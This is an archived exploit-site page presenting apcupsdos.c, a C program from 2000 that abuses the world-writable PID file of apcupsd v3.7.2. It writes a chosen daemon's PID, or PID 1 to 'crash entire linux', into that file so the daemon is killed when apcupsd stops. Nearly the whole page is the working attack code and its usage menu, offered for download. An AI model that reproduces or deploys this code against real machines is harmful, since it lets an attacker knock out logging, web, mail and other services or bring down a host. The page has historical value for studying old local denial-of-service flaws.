what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

apcupsdos.c

apcupsdos.c
Posted Dec 12, 2000
Authored by The Itch

Apcupsd v3.7.2 local denial of service attack. Can kill any running daemon.

tags | exploit, denial of service, local
SHA-256 | 98d94708575e0137e9354e702878bc24ca1f6d27866f241f5fccddfd8e165f5b

apcupsdos.c

Change Mirror Download
/* Local Denial of Service for any linux box running APCUPSD v3.7.2 
*
* APCUPSD has his pid file world writeable, therefore it is possible
* to let it kill another pid and create a denial of service against any
* running daemon. (when the apcupsd is stopped, or with a reboot etc..)
*
* Bug discovered by: Mattias Dartsch <matze@joonix.de>
* Exploit code by: The Itch / BsE
*
* Greets fly out to: Tasc, C-Murdah, Calimonk, Zer0, Tozz, Pyra,
* Shadowlady, Wildcoyote, Dilusi0n, Zephyr, ph33r-the-b33r and aiko
*/

#include <stdio.h>

#define PIDFILE "/var/run/apcupsd.pid"

/* pid file definition (processes that you can choose from to crash)
* these pid files and their paths came from a redhat distribution
*/

#define HTTPDPID "/var/run/httpd.pid"
#define SYSLOGDPID "/var/run/syslogd.pid"
#define CRONDPID "/var/run/crond.pid"
#define KLOGDPID "/var/run/klogd.pid"
#define INETDPID "/var/run/inetd.pid"
#define IDENTDPID "/var/run/identd.pid"
#define SENDMAILPID "/var/run/sendmail.pid"

int dosusage()
{
printf("----------------------------\n");
printf("\nUsage: ./apcupsdos <number>\n");
printf("where number is either:\n");
printf("1. crash linux\n");
printf("2. crash httpd\n");
printf("3. crash klogd\n");
printf("4. crash crond\n");
printf("5. crash syslogd\n");
printf("6. crash inetd\n");
printf("7. crash indentd\n");
printf("8. crash sendmaild\n\n");
return 0;
}

int main(int argc, char **argv)
{
FILE *apcpid;
FILE *dospidfile;
char *dospid[5];
int dosarg;

printf("\nAPCUPSD can be used to crash any linux distribution\n");
printf("or any other pid running at that moment when apcupsd is\n");
printf("stopped or when it gets normally killed using its pid.\n");
printf("\nCoded by The Itch / Bse\n\n");

if(argc < 2) { dosusage(); exit(0); }
if(atoi(argv[1]) > 8) { dosusage(); exit(0); }
dosarg = atoi(argv[1]);

apcpid = fopen(PIDFILE, "r");
if(!apcpid)
{
printf("%s does not exist\n\n", PIDFILE);
exit(1);
}
fclose(apcpid);

apcpid = fopen(PIDFILE, "w");

if(dosarg == 1)
{
/* crash entire linux */
fprintf(apcpid, "1");
}
if(dosarg == 2)
{
/* crash httpd */
dospidfile = fopen(HTTPDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 3)
{
/* crash klogd */
dospidfile = fopen(KLOGDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 4)
{
/* crash crond */
dospidfile = fopen(CRONDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 5)
{
/* crash syslogd */
dospidfile = fopen(SYSLOGDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 6)
{
/* crash inetd */
dospidfile = fopen(INETDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 7)
{
/* crash identd */
dospidfile = fopen(IDENTDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 8)
{
/* crash sendmail */
dospidfile = fopen(SENDMAILPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}

fclose(apcpid);
printf("DoS activated, its now a matter of time until apcupsd gets\n");
printf("restarted or this box gets rebooted....\n\n");

return 0;
}

/* Remember, there is no cure for BsE */
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close